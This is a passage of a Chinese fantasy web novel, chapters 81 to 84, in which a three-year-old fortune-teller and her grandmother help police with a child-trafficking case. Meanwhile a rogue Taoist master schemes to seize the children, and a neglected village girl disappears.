所长斜眼瞥他们,阴阳怪气说道:“刑警队的老司机谁不晓得,追犯人是把好手,人家开车用四个轱辘,你们用俩轱辘!人家开车车子是趴着的,你们开车车子稍不注意车子就能翻喽!” 众人:“……” 扎心了! 温大娘听见这话,果然打起了退堂鼓。 市局来的刑警们急了,慌张张砸出感情牌:“大娘!孩子们可都等着呢!” 温大娘想了想,“这样,我有个师弟这两天要去市里,他认识几个道行不错的天师,送孩子们回家这事可以委托给他们。” 市局的队长一听眼睛就亮了,这个好! “那就麻烦大师和大师的师弟了!” 靠谱的天师真不好找,靠谱又愿意配合办案的就更找不着了,像这三位道行高又主动帮忙还不提报酬的,她们介绍的天师肯定靠谱! 分完符箓,小张带所长和市局的队长去了齐冰寒的符纸店。 过不多久,齐冰寒就跟着过来,出现在了公安局。 他上来就嬉皮笑脸,“师姐,你这也是吃上公家饭了。” 温大娘让他滚一边儿去,“这事你上点心,你那些朋友里有靠谱的就过去帮帮忙,都是苦命孩子,能帮一把是一把,咱们天师修行可从来都不是为了自己。” 齐冰寒表情正经起来,点了点头,“我知道,师姐,我过来是跟你说一声,今天我就跟市局的同志们去市里,有事咱们电话联系。” 市局留下了两个同志,其他都回了市里。 中午饭,所长自掏腰包,请三人去饭店搓了一顿。 当然不是那两个大门面饭店,但价位在小县城里也十分可观。 这辈子长这么大,温苒还是第一次吃虾。 所长见她这么爱吃,大手一挥要了两份,临走时还打包了一份给她们带回去。 饭后消食,步行回到公安局。 温苒停下来,小脑袋左右转悠。 温大娘抱起她,“怎么了?困了?” 温苒摇头,“不是,我感觉有人在看我们。” 霍骁北也有这种感觉,但当他四下寻找时,却没有发现异常。 不远处,一个人影贪婪地盯着两个小娃娃。 妙啊! 这两个娃娃根骨清奇,上好的命格,肉身炼尸,魂魄炼鬼,正好做他的尸卫鬼将! 把拐卖名单都算出来,还有点时间,温苒三人跟着所长去了趟医院。 路上所长介绍另外几人的情况。 “抓获的当天就送进了医院抢救,所幸保住了一条性命,生命体征也稳定下来。” “可昨天夜里也不知道怎么着,那个唱小生的男嫌犯突然一阵抽搐,就咽气了。” “值班的医生护士赶紧抢救,结果扒开胸口的衣服一看,遍布黑紫的手印!” “老钱带人去看了,那手印大小和班主脖子上的一般大,且左手都是四根手指头。如无意外,杀害班主和小生的应该是同一个厉鬼。” 这样说着,所长下意识摸了摸胸口的符箓,幸亏他现在不用怕这玩意。 去病房转了一圈,和拘留室的情况一般无二。 两边留有同样的气息,确实出自同一只厉鬼,小生和班主的魂魄应该也都进了厉鬼的肚子。 以防仅剩的两个嫌犯被杀害,所长肉疼地留下两张符箓。 坐在医院的长椅上,温苒抱着矿泉水吨吨吨喝了几口,问道:“有那个天师的消息了吗?” 所长摇头,这才一天,哪那么快就能找到? “老钱他们联系了各乡镇的民警同志,已经在找了。” 所长估计希望不大,人家好歹是个天师,身边还有只厉鬼,道行自然不浅,不会轻易被他们找到。 最后的结果,八成是对方悄无声息地溜走。 所长安慰温苒,“小天师,你给咱们找出了所有的受害者,这是大功一件,咱们县里肯定会奖励你的。” 温苒支棱起来,扭头说道:“我能自己选奖励吗?” 所长愣了下,笑着问她:“你想要什么奖励?要是零食玩具,不用县里,我就能给你买。” 温大娘拦他,“你就别破费了,我家啥都有,还是让县里来给奖励吧。” 温苒晃晃脑袋,“我不要零食和玩具,我想上学,念书。” 所长:“???” 所长茫然,你个才三岁的娃娃,你去哪儿念书?幼儿园也不收你这么小的啊! 温大娘稀奇地看着自家小孙女,“咱家的书还不够你看啊?你想去学校 ?你才三岁你连笔都拿不稳,去学校能干啥?” 温苒现在也就能画个鬼画符,不过那不是用她的力气,而是用灵力牵引。 她自己的力气也不小,毕竟已经入了修炼一道,真正的阻碍还是她的年纪,客观条件所致,她的骨头还是软的。 温苒撅起嘴,学着不远处撒泼打滚不想打针的小男孩儿来回晃着身体,“我想去!姥姥~姥姥姥姥~我想去!那个耀祖要去念书了我要把他打趴下拿第一名!” 所长反正已经准备答应了,他还琢磨着,要是没法正常入学就弄个旁听生,让孩子去玩一玩也行。 不过依他看,这小天师聪明着呢,口齿清晰脑筋机灵,才三岁就有那么高深的道行,学习也肯定不在话下。 温大娘也抵抗不了一秒小孙女的撒娇,等反应过来就发现已经点了头,“行行行,我送你去,不过学校收不收姥姥就管不了了。” 温苒骄傲叉腰,一脸神气,“我这么聪明,不会有老师不喜欢的!” 温大娘反驳不了,这真反驳不了,她小孙女又聪明又懂事又可爱,不会有老师不喜欢她。 不过,温大娘点着小娃娃的额头,拉拉着脸语气不好,“你跟那个扫把星较什么劲儿?他是哪块地里的土坷垃?他们那条街他都排不上号!” 离开医院,三人坐公交车回村。 走到家门口,温大娘猛地一拍脑门,跺着脚一脸后悔,“哎呀!我怎么就忘了问问你小师叔?” 温苒仰头,“问什么?” 温大娘继续往里走,“你小师叔的店是咱们县城最大的符纸店,他那里的客人南来北往的,说不得就知道点什么,也说不得还见过那个搞鬼的天师呢?” 温苒倒腾着两条小短腿追上去,“那、那那要不要给师叔打个电话?” 温大娘停住,“……咱也不知道他在哪儿,怎么打电话?” 温大娘去忙活晚饭,温苒无聊的起卦。 虽说卦师一般不自算,但那通常是指生死劫那种大事,小事的吉凶还是可以的。 温苒盯着卦象瞅了半天。 她,天才小天师,危! 第82章 第82章零零年代乡村小神婆7 危! 温苒嗖嗖爬下炕,踩着鞋子哒哒哒小跑,在屋门口左脚踩右脚,闭着眼摔在刚好过来的霍骁北身上。 五岁小孩儿一把把三岁小孩儿捞起来,照着屁股上就来了一巴掌。 三岁小孩儿恼羞成怒,使劲憋出句大喊:“我不跟你玩了!” 霍骁北:“……” 霍骁北冷笑,“那好,待会儿别抢我的冰牛奶喝。” 温苒一秒变脸,讨好地凑上脸蛋蹭了蹭,婴儿肥软乎乎的,“哥哥我错了~” 霍骁北两手举着把她放到炕上,自己也坐上去,“跑那么急做什么?” 温苒想起了正事,拉着他着急道:“我刚才给自己算了一卦,很凶险!” 霍骁北不太相信她嘴里的‘很凶险’,这辈子是胎穿,小孩儿的身体对性格影响很大,温苒的日常现在就是吃吃喝喝捣捣乱。 看他不当回事,温苒握紧小拳头,鼓起脸颊,凶巴巴瞪着他。 “是真的!” “不信你帮我算一卦!” 霍骁北起卦重算,沉默了。 果然不能相信她的话…… 卦象凶是凶,但全局却是逢凶化吉。 不过霍骁北没有戳穿温苒,三岁小孩儿的脾气现在大着呢,惹毛了轻易哄不好。 他道:“接下来一段时间最好不要出门,我们现在去趟路口超市。” 温苒大眼睛一亮,攥着拳头小脑袋激动地一点一点,“嗯嗯嗯!” 出去和温大娘一说,她放下菜刀,“卦象有说是什么方面的事情吗?” 温苒举手,“和人贩子有关系!” 霍骁北嗯了声,“应该是厉鬼背后的天师发现了我们。” 温大娘听完把案板收拾收拾,挎着筐带俩娃娃出门。 “蒸了盆米饭还有几块地瓜,炒菜来不及了,回头我把米饭炒了。” “待会儿先紧着家里没有的买。” 家里其实什么都有,年前谁家里不添置一番? 缺的少的都是小孩儿爱吃的零嘴。 温大娘的命格聚不了财,她本人却很看得开,赚了钱就花,想买什么就买,反正钱花出去了还会再回来。 对温苒这个宝贝小孙女,温大娘看得和眼珠子似的,打小吃的用的就没寒碜过。 等温苒稍大了些,知道张口要东西了,温大娘也从来没说过个‘不’字,一直都是要什么给什么。 这一年来,温家祖孙两个就成了马路口小卖铺的常客。 进了小卖铺,温苒拿出世界末日的阵势开启扫荡。 小卖铺的老板都看麻了,真没见过这么惯孩子的! 上来温苒就抱了两大箱最贵的方便面,这种在几年后习以为常的‘泡面’,放在乡下农村就是单纯撑门面的滞销货。 纯牛奶、冰牛奶、橙汁、桃汁、面包、各式香肠、熟食卤肉…… 然后鬼鬼祟祟扔两包辣条。 结果结账的时候被发现,霍骁北又丢了回去。 温苒:“……” 温大娘偷笑,还真是一物降一物啊。 回去的路上,温苒拉着小脸,俩胳膊抱在一起,用力迈着小短腿,一步跺一脚,不时伴随着重重的愤懑的一声‘哼’! 霍骁北不为所动,你才三岁,三岁吃什么辣条? 满满当当回到家,温大娘去炒饭,温苒和霍骁北去加固阵法。 隔着两条街,张家阴云密布。 这日子算是没法过了! 遭了那老婆子两次的招儿,整个张家的阿臢破事都给抖落得底朝天。 张老头就连强娶知青媳妇儿,联合知青父兄不让她回城的事都说了出来,现在酸枣村无人不知他是个老逼登。 村里人有志一同得认为,张家出了个扫把星可真是报应啊!活该! 张家人除了张耀祖,哪个不是被拳脚相向满身青紫? 张耀祖这个扫把星也没好到哪里去,别人明明没冲他去,他却愣生生被误伤。 张老头唉声叹气地抹了把猪头脸,气没叹完就疼得倒吸回去。 他儿子顶着和他一样看不清面目的脸,闷声闷气问道:“爹,您说咱该咋办?村里人天天来堵门要钱,咱家哪有那么些钱?” 他们上次买新衣服都是老几年以前了,这几年饭都吃不饱,大过年的人家吃肉他家喝粥,就算给宝贝疙瘩补身体也才三天一个鸡蛋。 没办法,家里年年都养鸡,可不管养多少只,一群母鸡就是铁了心三天只下一个蛋。 张老头紧紧皱着眉,好半晌后撑着膝盖起来,“我去问问你娘。” 张耀祖的奶奶是个知青,也姓张,叫张来娣。 她生完孩子后身体一直不大好,而自打张耀祖出生更是出气多进气少,一直卧床不起日渐消瘦。 要说张老头最怵的,就是他算计来的知青媳妇儿了。 当然并不是因为他心虚理亏之类的原因,他单纯怕张来娣这个人,阴沉沉的不爱说话,给人一种仿佛哪天就在饭菜里下耗子药的感觉。 张来娣身体不好,不管白日黑夜大多时间都在沉睡。 张老头小心翼翼把人摇醒,看到张来娣睁开眼,他嗖一下往后退八丈远。 张老头嗓音发颤:“来、来娣,我来跟你求个主意?” 张来娣脑袋昏昏沉沉的,强撑着胳膊想坐起来,结果试了几下都没力气,索性就这么躺着。 目光在暗沉沉的屋里找了一圈,张来娣嗓音沙哑,“怎么最近没见过瑶兰?” 张老头默了默,回道:“她最近在跟儿媳的舅娘捡破烂儿。” 张来娣倒吸一口冷气,大过年的让一个孩子去捡破烂儿?! 旧地主家的童工都没她孙女命苦! 张来娣气得浑身发抖,使出全身力气拍打着被褥,“把瑶兰给我要、要回来!给我要回来!” 话说得断断续续,还没说完就一阵剧烈的咳嗽。 张老头怕她气出个好歹,连忙 上前给她捋后背,“好好好!我马上让儿子去把瑶兰带回来!” 出去一说,张耀祖娘不满意了,嘟囔着道:“过年是破烂儿最多的时候了,纸皮箱子酒瓶子可都是钱!来年耀祖想上学,没钱怎么念书?回头人家成了大学生,咱家耀祖还是个文盲,这不是活生生耽误了文曲星么?” 张老头犹豫了两秒,说道:“先接回来一晚上。” 回到张来娣的屋,张老头让她放心,儿子已经去接了。 张来娣哪能放心? 她这身体撑不了太久,等她走了,瑶兰还不知道被搓磨成什么样子? 张老头搓着手,瞥她一眼,说出了自家的困境,“来娣,咱家现在欠了不少人家的钱,窟窿太大,堵都堵不住,要是不还,咱家可就在村里待不下去了!来娣你是读书人,快给咱家拿个主意吧!” 张来娣听着,心中一动,咳嗽着问:“是多大的窟窿?” 张老头支支吾吾欲言又止含含糊糊,最终比了几根手指头,保守回道:“五、五千。” 张来娣:“……” 温嫂子给算的命还挺准,她那个孙子真就是个扫把星的命。 从前家里可是连一万块钱都能拿出来的! 那会儿老头子在造纸厂当班长,儿子在木雕厂做工,她在学校教书,一家三份工资,日子叫一个红红火火。 现在别说五千了,张来娣估计,把家底儿翻个底朝天连五百都凑不出来。 张来娣头疼地捏着眉心,好半晌后,在张老头忐忑期待的注视下,说道:“你和儿子儿媳收拾收拾,去南方打工吧。” 张老头愣住了,反应过来拔高声音:“我们都走了,耀祖咋办?” 就张来娣这有今天没明天的身体,她连自己都顾不了,哪能把宝贝疙瘩给照顾好? 张来娣没好气道:“那就没办法了。” 五千块,她就是神仙也一下子弄不来这么多钱! 张老头想着这主意,在屋里来回转圈琢磨。 其实出去打工也行,现在村里人防他们跟防贼一样,路上遇见脾气暴的,指不定一个拳头就砸过来了。 一来现在村里不安全,二来种地的收成也不好,自家都不够吃,根本赚不了钱,还钱就更不可能。 再说耀祖也到年纪了,孩子想去上学,他们家这穷得底朝天的样子,学费都拿不出来。 借钱? 要说以前还有点可能,现在他们要跟村里人提这俩字,纯等着找打呢! 张老头琢磨来琢磨去,十五都没过,就带着儿子儿媳离家,奔着南方打工去了。 张家一下子清静下来。 十五这天,张来娣让孙女张瑶兰收拾上一兜小米萝卜干,颤颤巍巍来了温家的小院跟前。 大过节的,小院的门大开迎客,温大娘刚把马家人送走,转身就瞧见这俩。 费劲认了半天,温大娘才迟疑着问道:“是张大姐?” 张来娣身体晃了晃,哽咽地应了一声,“嫂子,是我。” 她低头摸了摸张瑶兰的脑袋,“这是我孙女,张瑶兰。” “瑶兰,这是你温奶奶。” 张瑶兰仰起头,乖巧地喊人:“温奶奶过年好。” 张瑶兰比张耀祖大两岁,张耀祖六岁,她八岁。 可这八岁小孩儿黑不溜秋,长得不高,骨瘦如柴,脑袋大身体小,脸上却没二两肉,看人的时候俩大眼珠子凸出来,瘆人得很。 温大娘默了默,叹着气说道:“进来吧,家里刚炸了点肉丸子,大姐一会儿装回家,晌午饭也带瑶兰在这边吃。” 那糟老头子可真是造孽啊! 温大娘和张来娣其实没什么来往,哪怕有着前夫也是知青这层关系,但当年酸枣村的知青没有八十也有一百,实在谈不上熟络。 张来娣性子也孤僻,很少和村里人来往。 加上张老头单方面仇视温大娘,净给温大娘找不自在,张来娣也就没来过温家做讨人嫌。 但无论交情深浅,没看到就算了,亲眼看到祖孙俩的样子,温大娘终究是不落忍。 正在翘着小脚脚看动画片的温苒,见来了同龄人,一下子支棱起来。 等听姥姥说,这还是张耀祖的姐姐,温苒看张瑶兰的眼睛都放着光! “快上来,我给你算一卦!” 张瑶兰:“?” 算、算卦? 还是三岁小孩儿算卦? 张来娣知道温大娘不是普通人,耳濡目染之下她的小孙女用算卦来过家家,似乎也是理所当然。 张来娣笑着道:“我跟你温奶奶去别屋说话,你陪妹妹和弟弟玩儿。” 张瑶兰目送奶奶离开,站在炕前,紧张地绞着手。 温苒歪着身子看她,催促道:“姐姐姐姐,快上来,我给你糖吃!” 张瑶兰已经忘了糖是什么味道了,只听别的孩子说过甜甜的很好吃,她沉默地把脑袋垂下去,掩饰住眼里的渴望。 难道是不够? 温苒伸出两根手指,“两块哦!” 张瑶兰抬起脑袋,涨红着脸连忙摆手,结结巴巴道:“我、我我一块,一块就行!” 温苒拍拍身边的位置,“那快上来!我这里有奶糖水果糖酥糖软糖巧克力……” 张瑶兰吞了吞口水,爬炕的动作更快了。 温苒把一兜糖都给她,“给我你的八字。” 张瑶兰迷茫,“什么八字?我、我不识字的……” 温苒掰着手指头,“那就说说你几岁了,几月几日几点生的,再说说你遇到的事情。” 张瑶兰记得还算清楚,温苒和霍骁北分别起卦,碰头互相一对,惊了。 这几天张瑶兰有个生死劫! 这个生死劫还跟她们有关! 第83章 第83章零零年代乡村小神婆8 温苒眼珠一转,小心翼翼地瞥向侧前方。 那里,张瑶兰小朋友正看着一袋糖果,纠结要选哪颗,丝毫不知灾祸即将罩顶! 三岁小孩儿叹气,可怜的孩子,肯定是被扫把星克的! 温苒爬起来,到墙边把盛放零食的箱子拖过来,一挥小胳膊,豪爽万分道:“这些都能吃!” 张瑶兰嘴巴张成了‘O’形。 于是等张来娣再过来,就看到小孙女仰头期待地同她确认:“奶,爸妈她们是不是走了就不回来了,跟狗蛋儿的姥爷一样以后都住在地里?” 张来娣:“……” 张瑶兰还问:“奶,妈说要把我送给舅姥干活,奶,我不想去舅姥家,我能来小苒苒家干活吗?” 听见这话,大家心里都挺不是滋味。 张来娣更是眼圈一热,一把抱住孩子,哽咽道:“你能来小苒苒家,奶以后都带你来,也不是要你来干活,奶带你来找小苒苒玩。” 温大娘拍了拍张来娣的肩膀,安慰道:“孩子自己也能来,你就按我说的做,以后的日子总会好起来。” 张来娣抹了把泪,重重‘哎’了一声,“我都听嫂子的,我这身体是不大中用了,但为了孩子怎么也得再撑几年。” 张耀祖出生前,张家的好日子全靠张来娣用心经营,只是她身体不好,扫把星一进张耀祖娘的肚子,她就最先趴下了。 等张耀祖出生,张来娣就彻底不中用了。 张耀祖的八字温苒也知道,他这种命格不是简单的扫把星,还带有瘟神的特质,克亲克妻克友,谁对他好他克得越狠,反而对他不好的会克他。 这种命生来就是为了受苦,所以对他好的就连带着遭瘟,一点逆天改命的机会都不给他,一点便宜也不让他沾。 世上大多数人的命格都普普通通,先苦后甜或者先甜后苦,一辈子也就过去了。 极好的命格是少数,相应的,极差的命格也十分罕见。 尤其像张耀祖这么离谱的命格,除非是上辈子或者前几辈子做了什么天怒人怨的恶行,罪行滔天,地府让他投胎就是为了惩罚他。 留祖孙两个吃了顿饭,临走前,温苒给了两枚护身符,叮嘱她们贴身带着。 祖孙俩连吃带拿的回了家,张来娣让张瑶兰回屋,她去了孙子张耀祖房间。 张耀祖伤得不能下炕,到现在饭都没吃,饿得前胸贴后背,心里早就把张来娣和张瑶兰骂了千百遍。 现在看到人,他顿时火气更旺,“奶你去哪了?爷爷说你身体不好别出门,你出趟门万一有个啥事我咋办?你看看现在都几点了饭还没做,等爷爷回来看他怎么教训你?” 张来娣对张耀祖的性格早有耳闻,这会儿听到这话,心里那叫一个膈应一个不得劲。 光听前头的还以为在担心她,结果最后是为了他自己? 这孩子性子霸道,还独,还自私。 张来娣拉下脸,“没吃饭我看你也没事,一顿不吃饿不死,我身体不好,闻不了油烟,你要么自己学做饭,要么就等着饿死!” 说完,转身就走了。 来到外间堂屋,张来娣还给灶里的火封了,做饭的时候再重新扒拉开。 家里的柴可都是瑶兰捡的,就是白送也不能给这个扫把星享受,别回头再瘟到瑶兰身上。 张来娣可不怕张耀祖出事,她温嫂子说了,扫把星的命硬着呢! 灶里没火,里屋的炕很快就凉拔拔的,张耀祖喊了几嗓子都没人应,他嗖嗖爬到门口够着身体朝屋外看,结果撞到炕沿上的水缸,一缸子的水全洒在被褥上 。 这下好了,火炕冰凉,被褥打湿,取不了暖保不了温,张耀祖气得呲哇乱叫。 隔了一间屋子,张瑶兰嘴里含着玉米糖,小心翼翼看向她奶,“奶,咱们不管弟弟了吗?” 张来娣摸她的脑袋,“不管,以后他再叫你做什么你也别管。记住奶奶的话,以后离这个家能多远就多远。” 温嫂子说了,她孙女这命还可以,虽然六亲缘浅无助,但能自力更生。 自力更生好啊,要不是她父兄没良心,和张老头勾结把她留在乡下,她谁也不靠也能一个人回城活下去。 她后悔了一辈子耽搁了一辈子,不能让小孙女也耽搁在这里。 温家小院,温苒午睡起来,背着小手溜达着来到菜地视察。 还没出正月,地冻得结结实实,下了种也出不了芽。 但谁让她们有阵法呢? 温苒遥遥望向阳台上剥花生的姥姥,“等妈妈回来,菜长大就可以吃了!吃不完我们还能卖出去!” 温大娘瞥她,“哟呵,人不大口气不小,还想卖出去?那大集上回回都有卖菜的,人家有大棚,吃啥买不着?” 温苒抿嘴摇头,一本正经地踱着步来到她跟前,“姥姥此言差矣,我们种出来的菜是吞吐灵气长大的,味道清甜对人也有好处,这是高端产品,不仅要卖,还要卖得贵!” 温大娘扔掉花生壳,笑得肚子疼,“还卖得贵!你贵一毛你在大集上也卖不出去!” 温苒:“……” 温苒慢慢鼓起了脸颊,小眉毛竖起来,静静看着她姥姥。 温大娘怕给孩子惹毛了,连忙找补道:“你现在赚的钱也不少了,你那些个符咒卖的钱,等你师叔从市里回来,姥姥都给你存起来,姥姥不花。” “你也不用想着给你妈钱,她可没亏钱,她还赚了不少呢!” 言外之意,就是让温苒别琢磨卖菜的事。 温苒叉腰,“哼!” 然后气呼呼走了。 天色渐晚,西边的太阳和云彩连成片,像个煮破了流心的汤圆。 正月十五元宵节,晚饭温大娘焖了锅土豆豆芽面,煮了一袋元宵,和俩孩子在炕桌上边看晚会边吃了一顿。 太阳没入地平线,卷走最后一丝余热,天黑了。 不远处,一只藏在槐树里的鬼魂拔出身体来,哼哧哼哧飘向远方。 飘到了酸枣村北边的大坝附近。 废弃的值班室里,黑影抬手,招来鬼魂。 鬼魂战战兢兢,“主人,今日那两个娃娃还是没出门。” 黑影狠狠皱起眉,表情浮现不满。 这都多少天了,哪家的孩子不是天天出门玩耍,就这俩一次也没出去过! 不行! 那些警察追得紧,他被迫舍弃破庙,又换了两个地方,才暂时安定下来,可也持续不了太久。 料想这案子也快结束了,若是市里请了天师过来,到时他插翅难逃! 无论如何,得尽快把这两个娃娃弄到手,然后逃走,后续的炼化可以去别的地方。 黑影默默沉思半晌,起身道:“随我去一趟朱家。” 此时的朱家,元宵佳节,街上鞭炮齐鸣人声鼎沸,朱家却一片安静沉寂。 朱老娘一脸青紫地在灶前忙活,人离灶台八丈远,胳膊伸得老长,然而这不是最吸引人的,最吸引目光的是她光溜溜的脑袋。 所谓光溜溜,指的是没有眉毛没有睫毛也没有头发。 忙活了好一阵,朱老娘端了盆疙瘩汤进屋。 躺在床上的朱胜伟一脸菜色,他误食了不知道什么东西,连续拉了好几天肚子,现在浑身没力气,也吃不了一点东西,一吃就吐就拉。 他摆摆手,“娘我不吃,你给媳妇儿端过去,她刚生了孩子,该补补。” 朱老娘眼眶一酸,什么时候吃疙瘩汤也叫补身体了? 再说,“补什么补?她不过是生了个孩子,哪个女人不生孩子?她还想在婆家当太后不成” 朱胜伟动了动嘴,弱弱道:“她生了个儿子。” 朱老娘听得火冒三丈,“谁没生过儿子?我生的难道不是儿子?我生儿子的时候也没山珍海味?也不看看咱家什么条件,净想着补补补!补身体的钱留着给娃买奶粉多好?” 城里觉着用母乳喂孩子好,乡下觉着喂奶粉有营养。 朱胜伟不说话了,哪还有钱啊? 他从学生和学生家长那捞的钱都还回去了,不够的还打了欠条。 别说给娃买奶粉了,家里吃顿白面疙瘩汤都奢侈,以后怕是只能天天喝棒子面地瓜粥。 一墙之隔,拔凉的屋子里,朱胜伟媳妇儿蜷缩在棉被中,听着隔壁的动静,气得直发抖。 她真是瞎了眼了,知人知面不知心,以为朱胜伟是个体面的小学老师,没成想母子俩都是人面兽心的禽兽! 骗她喝下求子的符水,把她的身体搞得破败不堪,偶然怀上的孩子也被她影响,出生后就小小一团每天都在生病,恐怕都活不了多久…… 朱胜伟媳妇儿沉浸在思绪里,回过神来,却听到隔壁没了动静。 这不该啊,母子俩这会儿应该抱孩子喝奶才对,孩子身体不好却爱哭爱叫,哭得越多身体就越不好。 朱胜伟媳妇儿觉得哪里不对劲,撑着口气爬起来,到墙角抽出一块砖头。 丝丝缕缕的光线照过来,朱胜伟媳妇儿扒着窟窿望过去,隐秘的说话声在耳边响起。 对她颐指气使的讨厌婆婆此时语气谄媚又恭敬,“大师,这么晚了您过来,可是有事吩咐?” 大师的面容隐藏在黑色宽大的斗篷里,声音粗粝沙哑,“之前你求我为你的孙子孙女换命,我过来看看情况。” 朱老娘面色一僵,换啥换啊,就是换也不可能再找那个赔钱货了,她怕还没换了自己的命就没了。 姓温的有两把刷子,那会儿她们母子就跟鬼迷心窍了一样,这几天又一个赛一个的倒霉,她做饭燎了头发,胜伟一吃东西拉肚子。 可不敢再招惹她了! 朱老娘连忙摆手,“不不不!大师,我改主意了,不换我孙女的命了,我想请您给我孙子再寻一个命格好的换,您看行吗?” 黑衣大师忽地冷笑,“也好,她的命确实不适合你孙子。” 那样好的命,天生适合天师一道,若不是年纪太小,和他的八字不合,他都想养大了再夺舍。 他道:“我可以帮你另寻好命格,你去把你孙女带过来。” 第84章 第84章零零年代乡村小神婆9 “瑶兰来了,小苒苒早就念叨你呢,快进屋,动画片还没开始,奶奶给你们抓点零食。” 温大娘热情地招呼张瑶兰。 张瑶兰轻快的步子慢下来,捏着衣角上前,红着脸喊人:“奶奶好,我帮您拿东西,我奶过来让我跟您说个好消息。” 温大娘回头看这孩子,“啥好消息?” 张瑶兰仰头,脸上笑开了花一 样,“奶这两天的身体好了起来,听说乡里小学缺一名老师,她去问了问情况,就被校长留下来了。” 温大娘喜上眉梢,“大好事啊!你奶原先就是咱们乡里小学的老师,要不是身体不好还轮不到别人呢!” 张瑶兰低下头,腼腆着笑道:“奶说,这半年让我好好玩,等下学期就给我报名,让我去念书,让我好好念。” 温大娘揉揉她的脑袋,“是该好好念,念出来到城里找份好工作。” 张瑶兰用力点头,奶说了,让她努力学努力考,考上大学最好,就是考不上以后也出去找工作,离家里越远越好。 “我奶有几年没教书了,她在家里备课,所以才没来。” 温大娘摆手,“没事,待会儿你在咱家吃,回去的时候也给你奶带一缸子饭菜。” 听说张大娘回学校教书,张瑶兰也很快去念书,温苒小脑袋一转,拉长声音撒娇:“姥姥姥姥~我也想去~” 温大娘犯愁,“你这个年纪太小了,你还是下半年的生日,七八月报名的时候你连四周岁都没有,学校咋可能同意?” 温苒鼓着脸颊不高兴,温大娘只好道:“好好好,我去找校长说道说道,咱一样掏学费凭啥不让咱上课?” 温大娘这个神婆,十里八乡但凡信点的都认她。 转天她就上了小学校长家,好一通说道才给争取了个‘面试’的机会。 温大娘压根不在怕的,她小孙女那个机灵聪明劲,八九岁的小孩儿都比不上。 校长于是又来了趟温家小院,看温苒给他花式表演了一百以内的加减法和背诵三字经诗三百。 校长:“……” 这不给入学说不过去,这不给念书就是耽误孩子嘛! “等新学年开学,妹子你就带俩娃过去报名,我做主一定给她们入学。” 温大娘把校长送走,回来抱起温苒,“你瑶兰姐姐今天过生日,拿上你俩准备的礼物,咱们去她家吃个饭。” 温苒准备了糖果大礼包,都是张瑶兰爱吃的奶糖和水果糖。 霍骁北从盒子里拿了张平安符。 温大娘的礼物是一双鞋子,祝这孩子以后的日子走得顺走得远。 今天的张家一半是阳光,一半是阴云。 张来娣给张瑶兰张罗了一桌的好饭好菜,大家热热闹闹吃了一顿。 而另一间屋里,张耀祖只有地瓜和窝窝头。 张来娣请教温大娘,“嫂子,我这几日磋磨那孩子,只给他地瓜和窝头吃,你瞧我这身体立马就有劲了,工作也有了。” “但是吧,我看那孩子好像也不咋倒霉了?” 温大娘咽下饭菜,回道:“正常,他这个命就是来吃苦的。以前他爷他爹娘对他好,他没吃够苦就倒霉主动找苦吃,现在他吃了苦自然就没那么倒霉。” 张来娣:“……” 听完就俩字:造孽! 温苒一本正经地点着小脑袋,表示赞同。 上辈子张耀祖为什么二十出头就没了? 就是因为他享福享够了。 人一生的福分是有定数的,享完了就没了。 而张耀祖的命就是吃苦的命,他的福分可想而知根本没多少。 认真来讲,他活二十岁都是因为他这命还没吃够苦。 温苒摸着小下巴,回头等她道行有成,一定要问问地府的阴神,张耀祖上辈子到底做了什么穷凶极恶的坏事? 难得出来一趟,天黑了温苒三人才往回走。 温大娘举着手电筒领路,另一只手牵着温苒,温苒牵着霍骁北,三人小心翼翼下陡坡。 路旁,肉眼看不见的空间里,一道黑影伺机,蠢蠢欲动地扑过去。 一阵冷风罩过来,吹得温苒小身子晃晃悠悠。 温大娘忙回头扶住她,没有察觉到兜里常备的符咒闪了闪,化为灰烬。 黑影气势凶猛地飞扑过来,却撞上一道金光,霎时爆发出痛苦地尖叫,整道影子都被弹飞。 温大娘抱起温苒从坡上下来,放到地上叮嘱,“慢慢走,别急。” 温苒转了转小脑袋,没有不对劲,好像只是错觉。 耳旁风声的呼啸越显高亢,仿佛积蓄了所有力量嚎叫出来,下一秒消散得毫无踪影。 顺利走下陡坡,接下来的路顺利多了。 回到家脱下外套,温大娘习惯性地摸了摸兜,结果只摸到一捧黑灰。 温大娘:“???” “咱刚才撞鬼了?” 两只小脑袋凑过去,温苒伸出小手指沾了一指腹,眼珠一转,小奶音压得低低的,“肯定是刚才下坡那会儿!” 霍骁北起身找出阵盘,检查了一番后摇头:“阵法没有破坏。” 说明那只鬼没有跟进来。 温苒把符灰收集起来,混在墨水里用毛笔写了个字,给霍骁北看。 霍骁北看了半天,“还是算铜钱卦吧。” 温苒:“……” 温苒怒而拍纸,“你嫌我写的字丑!” 温大娘憋着笑哄她,给她揉小手,“不丑不丑,就是字大了点。” 结构也不对,给偏旁挤到外边去了,整个字看起来歪歪扭扭不伦不类。 霍骁北一边用五帝钱起卦,一面说着测字的结果:“撞鬼是因也是果,果是之前种的因造成的果,因会导致新的果。” 测字只能测简单的吉凶因果,六爻卦却能看出更多。 而霍骁北这一卦牵扯甚广,结局却扑朔迷离。 ** 张瑶兰来温家小院来得很勤快。 学校开学后,张来娣每天要上班,张瑶兰就每天在温家吃午饭。 小姑娘手脚勤快,帮着洗菜做饭,吃完还帮着收拾,温大娘不让她忙她还不自在。 开学后的第一个双休日假期,张瑶兰没来。 温苒扒着窗户眼巴巴看着院门口,霍骁北喊她好几声她都没听到。 霍骁北:“……” 他过去把娃娃拎过来,板着脸,“学校放假,张大娘约莫要带她孙女收拾家里。” 温苒下巴搭在炕桌上,无精打采地‘哦’了一声。 霍骁北:“……” 他就在眼前,小丫头却连个眼神都不给他? 霍骁北:“我打算炸地瓜条。” 温苒一秒支棱起来,“我要吃!我还想吃薯条!” 温大娘由着她俩指挥,又给弄了一筐炸货,“也不知道你妈什么时候回来?” 院里菜地已经长出了一批叶子菜,水灵灵又脆又甜。 温苒用生菜叶包着炸鸡肉花生豆和米饭,几口一个吃得肚子圆滚滚。 吃饱了打盹儿,温苒睡到半下午,被张来娣吵醒。 霍骁北给她穿衣服,“张瑶兰早晨出门,跟她奶说要来这边,午饭前回去。午饭的时候张瑶兰还没回,张大娘以为她在这边吃了,等到半下午张瑶兰还没影儿,张大娘就过来接人。” 温苒一下子清醒了,“可是瑶兰姐姐今天没过来……” 她想到了之前那一卦,生死劫! 温苒顿时急了,扭头操着小奶音大声喊:“张奶奶!张奶奶!瑶兰姐姐有没有带我给她的符牌?” 张来娣抹着泪出现在门口,一直点头,“带了,带了的,她说那是你给她的,她要一直带着,洗澡的时候都没摘。” 温苒松了口气,“那就好。” 